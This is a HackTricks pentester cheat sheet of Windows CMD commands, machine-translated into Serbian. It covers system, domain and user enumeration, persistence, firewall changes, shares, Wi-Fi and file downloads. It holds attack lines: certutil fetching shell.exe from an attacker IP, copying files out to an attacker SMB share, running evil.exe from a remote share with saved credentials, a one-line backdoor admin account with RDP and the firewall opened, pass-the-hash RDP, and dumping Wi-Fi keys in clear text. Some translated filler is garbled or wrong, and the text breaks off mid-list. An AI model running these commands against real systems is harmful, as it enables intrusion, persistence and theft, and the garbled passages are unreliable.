hacktricks/windows-hardening/basic-cmd-for-pentesters.md
2024-04-06 19:39:21 +00:00

43 KiB
Raw Blame History

Basic Win CMD for Pentesters

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Informacije o sistemu

Informacije o verziji i zakrpama

wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic computersystem LIST full #Get PC info

wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates

hostname

DRIVERQUERY #3rd party driver vulnerable?

Okruženje

set #List all environment variables

Neki okružni promenljivi za istakavanje:

  • COMPUTERNAME: Ime računara
  • TEMP/TMP: Privremena fascikla
  • USERNAME: Vaše korisničko ime
  • HOMEPATH/USERPROFILE: Matični direktorijum
  • windir: C:\Windows
  • OS: Windows operativni sistem
  • LOGONSERVER: Ime kontrolora domena
  • USERDNSDOMAIN: Ime domena za upotrebu sa DNS-om
  • USERDOMAIN: Ime domena
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC

Montirani diskovi


Pregled montiranih diskova

Da biste videli sve montirane diskove na Windows operativnom sistemu, možete koristiti sledeću komandu:

wmic logicaldisk get caption, description, volumename

Ova komanda će prikazati sve montirane diskove, zajedno sa njihovim oznakama, opisima i nazivima volumena.


Montiranje diska

Da biste montirali disk na Windows operativnom sistemu, možete koristiti sledeću komandu:

mountvol <disk> <putanja>

Gde <disk> predstavlja oznaku diska koji želite da montirate, a <putanja> predstavlja putanju na koju želite da montirate disk.

Na primer, ako želite da montirate disk sa oznakom "D:" na putanju "C:\mount", koristite sledeću komandu:

mountvol D: C:\mount

Demontiranje diska

Da biste demontirali disk sa Windows operativnog sistema, možete koristiti sledeću komandu:

mountvol <putanja> /d

Gde <putanja> predstavlja putanju diska koji želite da demontirate.

Na primer, ako želite da demontirate disk sa putanje "C:\mount", koristite sledeću komandu:

mountvol C:\mount /d

(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername

Defender

Korpa za recikliranje

dir C:\$Recycle.Bin /s /b

Procesi, usluge i softver

Prikaz procesa

Da biste prikazali aktivne procese na Windows operativnom sistemu, možete koristiti sledeće komande:

tasklist

Ova komanda će prikazati listu svih trenutno pokrenutih procesa, zajedno sa njihovim ID-ovima, prioritetima, statusima i drugim informacijama.

Ubijanje procesa

Ako želite da zaustavite određeni proces, možete koristiti sledeću komandu:

taskkill /PID <PID>

Zamijenite <PID> sa ID-em procesa koji želite da zaustavite. Ova komanda će zatvoriti proces i osloboditi resurse koje je koristio.

Prikaz instaliranih servisa

Da biste vidjeli listu instaliranih servisa na Windows operativnom sistemu, koristite sledeću komandu:

sc query

Ova komanda će prikazati sve servise zajedno sa njihovim imenima, statusima i drugim informacijama.

Zaustavljanje servisa

Ako želite da zaustavite određeni servis, možete koristiti sledeću komandu:

sc stop <service_name>

Zamijenite <service_name> sa imenom servisa koji želite da zaustavite. Ova komanda će zaustaviti servis i onemogućiti njegovo dalje izvršavanje.

Prikaz instaliranog softvera

Da biste vidjeli listu instaliranog softvera na Windows operativnom sistemu, koristite sledeću komandu:

wmic product get name,version

Ova komanda će prikazati sve instalirane programe zajedno sa njihovim imenima i verzijama.

schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software

Informacije o domenu

Whois

Whois je protokol za pretragu baza podataka koje sadrže informacije o registrovanim domenima. Ovaj protokol omogućava pristup informacijama kao što su vlasnik domena, datum registracije, datum isteka registracije, DNS serveri i druge relevantne informacije.

Da biste dobili informacije o domenu putem Whois protokola, možete koristiti sledeću komandu:

whois <domen>

NSLookup

NSLookup je alat koji se koristi za pretragu DNS zapisa i dobijanje informacija o DNS serverima koji su zaduženi za određeni domen. Ovaj alat može biti koristan za pronalaženje IP adrese povezane sa domenom, kao i za proveru ispravnosti DNS konfiguracije.

Da biste koristili NSLookup, možete izvršiti sledeću komandu:

nslookup <domen>

Dig

Dig je alat koji se koristi za pretragu DNS zapisa i dobijanje informacija o DNS serverima koji su zaduženi za određeni domen. Ovaj alat pruža detaljnije informacije o DNS zapisima, uključujući IP adrese, TTL vrednosti, tipove zapisa i druge relevantne informacije.

Da biste koristili Dig, možete izvršiti sledeću komandu:

dig <domen>

Traceroute

Traceroute je alat koji se koristi za praćenje putanje paketa od izvora do odredišta preko mreže. Ovaj alat može biti koristan za identifikaciju mrežnih tačaka preko kojih paketi prolaze, kao i za pronalaženje eventualnih problema ili uskih grla u mrežnoj infrastrukturi.

Da biste koristili Traceroute, možete izvršiti sledeću komandu:

traceroute <domen>

Nmap

Nmap je popularan alat za skeniranje mreže koji se koristi za otkrivanje otvorenih portova, identifikaciju servisa koji rade na tim portovima i mapiranje mrežne infrastrukture. Ovaj alat može biti koristan za identifikaciju ranjivosti i sigurnosnih propusta u mreži.

Da biste koristili Nmap, možete izvršiti sledeću komandu:

nmap <domen>
# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list	#Displays information about the Domain and Domain Controllers

# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.

# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group

# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers

# Trust relations
nltest /domain_trusts #Mapping of the trust relationships

# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"

Dnevnici i događaji

Dnevnici i događaji su ključni izvori informacija za istraživanje i analizu sistema. Oni pružaju uvid u aktivnosti koje su se desile na sistemu, kao i u potencijalne sigurnosne incidente. U Windows okruženju, postoje različiti tipovi dnevnika i događaja koji se mogu koristiti u svrhu analize.

Windows Event Log

Windows Event Log (Dnevnik događaja) je centralizovani izvor informacija o događajima koji se dešavaju na Windows operativnom sistemu. Dnevnik događaja se sastoji od različitih logova, kao što su Security, Application, System, i mnogi drugi. Svaki log sadrži informacije o specifičnim događajima koji su se desili na sistemu.

Security Log

Security Log (Dnevnik sigurnosti) je jedan od najvažnijih logova u Windows operativnom sistemu. On beleži informacije o sigurnosnim događajima, kao što su prijavljivanje i odjavljivanje korisnika, promene u privilegijama, neuspeli pokušaji prijavljivanja, i mnoge druge aktivnosti koje mogu biti od interesa za istraživače sigurnosti.

Application Log

Application Log (Dnevnik aplikacija) beleži informacije o događajima koji se odnose na aplikacije koje se izvršavaju na sistemu. Ovaj log može pružiti korisne informacije o greškama, upozorenjima i drugim događajima koji se odnose na aplikacije.

System Log

System Log (Dnevnik sistema) beleži informacije o događajima koji se odnose na sistemski softver i hardver. Ovaj log može sadržati informacije o greškama, upozorenjima i drugim događajima koji se odnose na sistem.

Security Auditing

Security Auditing (Sigurnosna revizija) je proces praćenja i beleženja sigurnosnih događaja na sistemu. Ova funkcionalnost omogućava administratorima da prate i analiziraju aktivnosti na sistemu kako bi otkrili potencijalne sigurnosne pretnje.

Event Viewer

Event Viewer (Pregledač događaja) je alat koji omogućava pregled i analizu dnevnika i događaja na Windows operativnom sistemu. Pomoću ovog alata možete pregledati različite logove, filtrirati događaje prema određenim kriterijumima i analizirati informacije o događajima.

PowerShell Event Logging

PowerShell Event Logging (Beleženje događaja u PowerShell-u) je funkcionalnost koja omogućava beleženje događaja koji se odnose na izvršavanje PowerShell skripti. Ova funkcionalnost može biti korisna za praćenje i analizu aktivnosti vezanih za PowerShell.

Windows Firewall Log

Windows Firewall Log (Dnevnik Windows Firewall-a) beleži informacije o aktivnostima vezanim za Windows Firewall. Ovaj log može pružiti informacije o dolaznim i odlaznim konekcijama, blokiranim paketima i drugim aktivnostima vezanim za Firewall.

Sysmon

Sysmon je alat koji pruža detaljnije informacije o događajima na sistemu u poređenju sa standardnim Windows logovima. On pruža napredne informacije o procesima, mrežnim aktivnostima, promenama u registru i drugim događajima koji mogu biti od interesa za istraživače sigurnosti.

Centralized Logging

Centralized Logging (Centralizovano beleženje) je praksa koja podrazumeva slanje dnevnika i događaja sa različitih sistema na centralizovano mesto radi lakše analize i praćenja. Ova praksa omogućava efikasnije upravljanje dnevnicima i događajima na različitim sistemima.

#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321

Korisnici

Pregled korisnika

Da biste videli sve korisnike na sistemu, možete koristiti sledeću komandu:

net user

Kreiranje korisnika

Da biste kreirali novog korisnika, koristite sledeću komandu:

net user <ime_korisnika> <lozinka> /add

Brisanje korisnika

Da biste obrisali korisnika, koristite sledeću komandu:

net user <ime_korisnika> /delete

Grupa

Pregled grupa

Da biste videli sve grupe na sistemu, koristite sledeću komandu:

net localgroup

Kreiranje grupe

Da biste kreirali novu grupu, koristite sledeću komandu:

net localgroup <ime_grupe> /add

Dodavanje korisnika u grupu

Da biste dodali korisnika u grupu, koristite sledeću komandu:

net localgroup <ime_grupe> <ime_korisnika> /add

Uklanjanje korisnika iz grupe

Da biste uklonili korisnika iz grupe, koristite sledeću komandu:

net localgroup <ime_grupe> <ime_korisnika> /delete
#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges

# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user

# Other users looged
qwinsta #Anyone else logged in?

#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe

Grupe

Groups (grupe) su organizovani skupovi korisnika u operativnom sistemu Windows. Svaki korisnik može pripadati jednoj ili više grupa, a grupe se koriste za upravljanje pravima i privilegijama korisnika. U nastavku su prikazane neke osnovne komande za rad sa grupama u Windows operativnom sistemu.

Prikaz svih grupa

net localgroup

Ova komanda prikazuje sve lokalne grupe na sistemu.

Prikaz članova grupe

net localgroup <ime_grupe>

Ova komanda prikazuje sve članove određene grupe.

Dodavanje korisnika u grupu

net localgroup <ime_grupe> <ime_korisnika> /add

Ova komanda dodaje određenog korisnika u određenu grupu.

Uklanjanje korisnika iz grupe

net localgroup <ime_grupe> <ime_korisnika> /delete

Ova komanda uklanja određenog korisnika iz određene grupe.

Kreiranje nove grupe

net localgroup <ime_nove_grupe> /add

Ova komanda kreira novu lokalnu grupu.

Brisanje grupe

net localgroup <ime_grupe> /delete

Ova komanda briše određenu grupu.

#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators

#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group

Lista sesija

Da biste videli listu aktivnih sesija na ciljnom sistemu, možete koristiti sledeću komandu:

net session

Ova komanda će prikazati sve trenutno otvorene sesije na ciljnom sistemu, uključujući korisnička imena, ID sesija i vreme poslednje aktivnosti.

qwinsta
klist sessions

Politika lozinki

Windows operativni sistem podržava postavljanje politike lozinki kako bi se osigurala sigurnost korisničkih naloga. Ova politika definiše zahteve za kreiranje i korišćenje lozinki. Evo nekoliko ključnih parametara politike lozinki:

  • Minimalna dužina lozinke: Ovo je najmanji broj karaktera koji lozinka mora da sadrži.
  • Zahtev za kompleksnost lozinke: Ovaj parametar definiše da li lozinka mora da sadrži kombinaciju velikih i malih slova, brojeva i specijalnih karaktera.
  • Maksimalno trajanje lozinke: Ovo je period nakon kojeg korisnik mora da promeni svoju lozinku.
  • Minimalno trajanje lozinke: Ovo je minimalni period koji korisnik mora da sačuva lozinku pre nego što je promeni.
  • Broj prethodnih lozinki: Ovaj parametar definiše koliko prethodnih lozinki se pamti i sprečava korisnika da ponovo koristi istu lozinku.

Da biste postavili politiku lozinki, možete koristiti sledeću komandu:

net accounts /minpwlen:<minimalna_dužina_lozinke> /complexity:<da/oduzmi> /maxpwage:<maksimalno_trajanje_lozinke> /minpwage:<minimalno_trajanje_lozinke> /uniquepw:<broj_prethodnih_lozinki>

Na primer, ako želite da postavite minimalnu dužinu lozinke na 8 karaktera, zahtev za kompleksnost lozinke, maksimalno trajanje lozinke na 90 dana, minimalno trajanje lozinke na 7 dana i da se pamti 5 prethodnih lozinki, koristite sledeću komandu:

net accounts /minpwlen:8 /complexity:yes /maxpwage:90 /minpwage:7 /uniquepw:5

Napomena: Ove promene zahtevaju administratorske privilegije i mogu se primeniti samo na lokalnom računaru.

net accounts

Poverenja

Credentials (poverenja) su informacije koje se koriste za autentifikaciju korisnika ili entiteta. To mogu biti korisničko ime i lozinka, digitalni sertifikat, API ključ ili bilo koja druga forma identifikacije. Poverenja se koriste za pristupanje sistemima, aplikacijama ili resursima.

Kada se bavite hakovanjem, poverenja su od velike važnosti jer vam omogućavaju pristup osetljivim informacijama ili funkcionalnostima. Postoji nekoliko tehnika koje možete koristiti za krađu poverenja, kao što su phishing, brute force napadi, krađa tokena ili iskorišćavanje ranjivosti u autentifikacionom procesu.

Kada imate poverenja, možete ih koristiti za dalje napade, kao što su eskalacija privilegija, preuzimanje kontrole nad sistemom ili izvršavanje zlonamernog koda.

Važno je napomenuti da je krađa poverenja nezakonita i da se ove tehnike smeju koristiti samo u okviru legalnih aktivnosti, kao što su etičko hakovanje ili testiranje bezbednosti.

cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access

Upornost sa korisnicima

Add a User

Dodaj korisnika

To add a new user to the system, you can use the net user command. Here's the syntax:

Da biste dodali novog korisnika u sistem, možete koristiti net user komandu. Evo sintakse:

net user <username> <password> /add

Replace <username> with the desired username and <password> with the desired password for the user.

Zamenite <username> sa željenim korisničkim imenom i <password> sa željenom lozinkom za korisnika.

Enable Remote Desktop

Omogući udaljeni radni sto

To enable Remote Desktop on a Windows system, you can use the reg add command. Here's the syntax:

Da biste omogućili udaljeni radni sto na Windows sistemu, možete koristiti reg add komandu. Evo sintakse:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Add User to Local Administrators Group

Dodaj korisnika u lokalnu administratorsku grupu

To add a user to the local Administrators group, you can use the net localgroup command. Here's the syntax:

Da biste dodali korisnika u lokalnu administratorsku grupu, možete koristiti net localgroup komandu. Evo sintakse:

net localgroup Administrators <username> /add

Replace <username> with the username of the user you want to add to the Administrators group.

Zamenite <username> sa korisničkim imenom korisnika kojeg želite dodati u administratorsku grupu.

Enable Guest Account

Omogući gostujući nalog

To enable the Guest account on a Windows system, you can use the net user command. Here's the syntax:

Da biste omogućili gostujući nalog na Windows sistemu, možete koristiti net user komandu. Evo sintakse:

net user Guest /active:yes

Disable Guest Account

Onemogući gostujući nalog

To disable the Guest account on a Windows system, you can use the net user command. Here's the syntax:

Da biste onemogućili gostujući nalog na Windows sistemu, možete koristiti net user komandu. Evo sintakse:

net user Guest /active:no

Enable Built-in Administrator Account

Omogući ugrađeni administratorski nalog

To enable the built-in Administrator account on a Windows system, you can use the net user command. Here's the syntax:

Da biste omogućili ugrađeni administratorski nalog na Windows sistemu, možete koristiti net user komandu. Evo sintakse:

net user Administrator /active:yes

Disable Built-in Administrator Account

Onemogući ugrađeni administratorski nalog

To disable the built-in Administrator account on a Windows system, you can use the net user command. Here's the syntax:

Da biste onemogućili ugrađeni administratorski nalog na Windows sistemu, možete koristiti net user komandu. Evo sintakse:

net user Administrator /active:no
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN

# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD

# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName  /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add

Mreža

Interfejsi, Rute, Portovi, Hostovi i DNS keš

Interfejsi

Prikazuje sve mrežne interfejse na sistemu:

ipconfig /all

Rute

Prikazuje sve rute na sistemu:

route print

Portovi

Prikazuje otvorene portove na sistemu:

netstat -ano

Hostovi

Prikazuje informacije o hostovima na mreži:

nslookup <adresa>

DNS keš

Prikazuje sadržaj DNS keša:

ipconfig /displaydns

Firewall

Pregled statusa Firewall-a

Prikazuje status Firewall-a:

netsh advfirewall show allprofiles

Isključivanje Firewall-a

Isključuje Firewall:

netsh advfirewall set allprofiles state off

Uključivanje Firewall-a

Uključuje Firewall:

netsh advfirewall set allprofiles state on

Dodavanje pravila u Firewall

Dodaje pravilo u Firewall:

netsh advfirewall firewall add rule name="<ime_pravila>" dir=in action=allow protocol=<protokol> localport=<port>

Brisanje pravila iz Firewall-a

Briše pravilo iz Firewall-a:

netsh advfirewall firewall delete rule name="<ime_pravila>"

Proxy

Podešavanje proxy servera

Podešava proxy server:

netsh winhttp set proxy proxy-server="<adresa>:<port>"

Poništavanje podešavanja proxy servera

Poništava podešavanje proxy servera:

netsh winhttp reset proxy
ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"

Firewall

Zaštita od požara

Firewall je sigurnosni mehanizam koji se koristi za zaštitu računarske mreže od neovlašćenog pristupa i napada. On kontroliše i filtrira dolazni i odlazni mrežni saobraćaj na osnovu definisanih pravila. Ovo je veoma važan alat za osiguravanje bezbednosti sistema.

Windows Firewall

Windows Firewall je ugrađeni firewall koji dolazi sa operativnim sistemom Windows. On omogućava korisnicima da kontrolišu pristup njihovom računaru i mreži. Može se konfigurisati da blokira ili dozvoljava određene vrste saobraćaja na osnovu definisanih pravila.

Konfiguracija Windows Firewall-a

Da biste konfigurisali Windows Firewall, možete koristiti komandnu liniju ili grafički interfejs. Evo nekoliko osnovnih komandi koje možete koristiti:

  • Pregledajte trenutna pravila firewall-a:
netsh advfirewall firewall show rule name=all
  • Dodajte pravilo za dozvoljavanje dolaznog saobraćaja na određenom portu:
netsh advfirewall firewall add rule name="Allow Port 80" dir=in action=allow protocol=TCP localport=80
  • Dodajte pravilo za blokiranje dolaznog saobraćaja sa određene IP adrese:
netsh advfirewall firewall add rule name="Block IP" dir=in action=block remoteip=192.168.0.1
  • Izbrišite pravilo firewall-a:
netsh advfirewall firewall delete rule name="Block IP"

Ove komande vam omogućavaju da konfigurišete Windows Firewall prema vašim potrebama i zahtevima za bezbednost.

netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles

NetSh Advfirewall set allprofiles state off  #Turn Off
NetSh Advfirewall set allprofiles state on  #Trun On
netsh firewall set opmode disable #Turn Off

#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"

#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed

#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"

#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable

#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable

::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49

Deljenje

Pregled

Komanda net share se koristi za prikazivanje informacija o deljenim resursima na sistemu. Ova komanda prikazuje naziv deljenog resursa, putanju do resursa, tip resursa i eventualne dodatne opcije.

Prikazivanje svih deljenih resursa

net share

Prikazivanje detaljnih informacija o određenom deljenom resursu

net share <naziv_resursa>

Kreiranje novog deljenog resursa

net share <naziv_resursa>=<putanja_do_resursa> [/GRANT:<korisnik>,<prava>] [/REMARK:"komentar"]
  • <naziv_resursa>: Naziv deljenog resursa koji želite da kreirate.
  • <putanja_do_resursa>: Putanja do direktorijuma koji želite da delite.
  • <korisnik>: Korisnik kojem želite da dodelite prava pristupa deljenom resursu.
  • <prava>: Prava pristupa koja želite da dodelite korisniku (npr. READ, WRITE, FULL).
  • /REMARK:"komentar": Opcioni komentar koji možete dodati deljenom resursu.

Brisanje deljenog resursa

net share <naziv_resursa> /DELETE
  • <naziv_resursa>: Naziv deljenog resursa koji želite da obrišete.
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

Wifi

Bežična mreža

View Available Networks

Pregled dostupnih mreža

To view the available wifi networks, use the following command:

Da biste videli dostupne bežične mreže, koristite sledeću komandu:

netsh wlan show networks

Connect to a Network

Povezivanje sa mrežom

To connect to a wifi network, use the following command:

Da biste se povezali sa bežičnom mrežom, koristite sledeću komandu:

netsh wlan connect name="network_name"

Replace "network_name" with the name of the network you want to connect to.

Zamenite "network_name" sa imenom mreže sa kojom želite da se povežete.

Disconnect from a Network

Odjavljivanje sa mreže

To disconnect from a wifi network, use the following command:

Da biste se odjavili sa bežične mreže, koristite sledeću komandu:

netsh wlan disconnect

View Network Profiles

Pregled profila mreže

To view the saved network profiles, use the following command:

Da biste videli sačuvane profile mreže, koristite sledeću komandu:

netsh wlan show profiles

Delete a Network Profile

Brisanje profila mreže

To delete a saved network profile, use the following command:

Da biste obrisali sačuvani profil mreže, koristite sledeću komandu:

netsh wlan delete profile name="profile_name"

Replace "profile_name" with the name of the profile you want to delete.

Zamenite "profile_name" sa imenom profila koji želite da obrišete.

netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass

SNMP

SNMP (Simple Network Management Protocol) je protokol koji se koristi za upravljanje i nadzor mrežnih uređaja. Omogućava administratorima da prikupljaju informacije o statusu i performansama mreže, kao i da upravljaju mrežnim uređajima. SNMP koristi poruke za komunikaciju između upravljačke stanice i upravljanih uređaja. Ove poruke se šalju preko UDP (User Datagram Protocol) protokola na portu 161. SNMP podržava različite operacije, uključujući čitanje i pisanje vrednosti, kao i praćenje događaja.

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s

Mrežni interfejsi

Pregled dostupnih mrežnih interfejsa

Da biste pregledali dostupne mrežne interfejse na Windows operativnom sistemu, možete koristiti sledeću komandu:

ipconfig

Ova komanda će prikazati informacije o svim aktivnim mrežnim interfejsima, uključujući IP adresu, podmrežnu masku, podrazumevani gateway i druge relevantne informacije.

Promena IP adrese

Da biste promenili IP adresu mrežnog interfejsa, možete koristiti sledeću komandu:

netsh interface ip set address "Naziv interfejsa" static IP_adresa Podmrežna_maska Gateway

Zamenite "Naziv interfejsa" sa imenom interfejsa koji želite da promenite, "IP_adresa" sa željenom IP adresom, "Podmrežna_maska" sa odgovarajućom podmrežnom maskom i "Gateway" sa podrazumevanim gateway-om.

Promena DNS servera

Da biste promenili DNS servere za određeni mrežni interfejs, možete koristiti sledeću komandu:

netsh interface ip set dns "Naziv interfejsa" static DNS_server_primarni

Zamenite "Naziv interfejsa" sa imenom interfejsa koji želite da promenite i "DNS_server_primarni" sa IP adresom primarnog DNS servera.

Isključivanje mrežnog interfejsa

Da biste isključili određeni mrežni interfejs, možete koristiti sledeću komandu:

netsh interface set interface "Naziv interfejsa" admin=disable

Zamenite "Naziv interfejsa" sa imenom interfejsa koji želite da isključite.

Uključivanje mrežnog interfejsa

Da biste uključili određeni mrežni interfejs, možete koristiti sledeću komandu:

netsh interface set interface "Naziv interfejsa" admin=enable

Zamenite "Naziv interfejsa" sa imenom interfejsa koji želite da uključite.

ipconfig /all

ARP tabela

ARP (Address Resolution Protocol) tabela je tabela koja se koristi u mrežnom okruženju kako bi se mapirale IP adrese na MAC adrese. Ova tabela omogućava uređajima da komuniciraju na lokalnoj mreži. Kada se uređaj poveže na mrežu, on šalje ARP zahtev kako bi saznao MAC adresu drugog uređaja na istoj mreži. Ova tabela se često koristi u napadima na mrežu kako bi se izvršio ARP spoofing ili ARP poisoning.

arp -A

Preuzimanje

Bitsadmin.exe

bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1

CertReq.exe je alatka koja se koristi za generisanje i upravljanje zahtevima za sertifikate u operativnom sistemu Windows. Ova komanda omogućava korisnicima da kreiraju CSR (Certificate Signing Request) datoteke koje se koriste za dobijanje digitalnih sertifikata od sertifikacionih tela. CSR datoteke sadrže informacije o subjektu za koga se zahteva sertifikat, kao i javni ključ koji će biti uključen u sertifikat. CertReq.exe takođe omogućava korisnicima da izdaju, povuku i obnove sertifikate. Ova alatka je korisna za pentestere koji žele da manipulišu sertifikatima u cilju testiranja sigurnosti sistema.

CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt

Certutil.exe je alat koji se koristi za rad sa digitalnim certifikatima u operativnom sistemu Windows. Ovaj alat omogućava korisnicima da pregledaju, izdaju, povuku, izvoze i uvoze certifikate, kao i da obavljaju druge operacije vezane za upravljanje certifikatima. Certutil.exe se često koristi u procesu hardeninga sistema kako bi se osigurala sigurnost i integritet digitalnih certifikata.

certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe

Pronađite još mnogo toga pretraživanjem Download na https://lolbas-project.github.io

Razno

cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file

#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden

#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision

#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win

#exe2bat to transform exe file in bat file

#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)

# Get error messages from code
net helpmsg 32 #32 is the code in that case

Zaobilaženje zabrane korišćenja određenih karaktera

Kada se susretnete sa zabranom korišćenja određenih karaktera prilikom izvršavanja komandi, možete primeniti sledeće tehnike za zaobilaženje ove zabrane:

  1. Koristite alternativne karaktere: Umesto zabranjenih karaktera, možete koristiti slične karaktere koji nisu zabranjeni. Na primer, umesto slova "o" možete koristiti broj "0" ili umesto slova "s" možete koristiti simbol "$".
  2. Koristite heksadecimalnu reprezentaciju: Umesto zabranjenih karaktera, možete koristiti njihovu heksadecimalnu reprezentaciju. Na primer, umesto slova "a" možete koristiti "\x61".
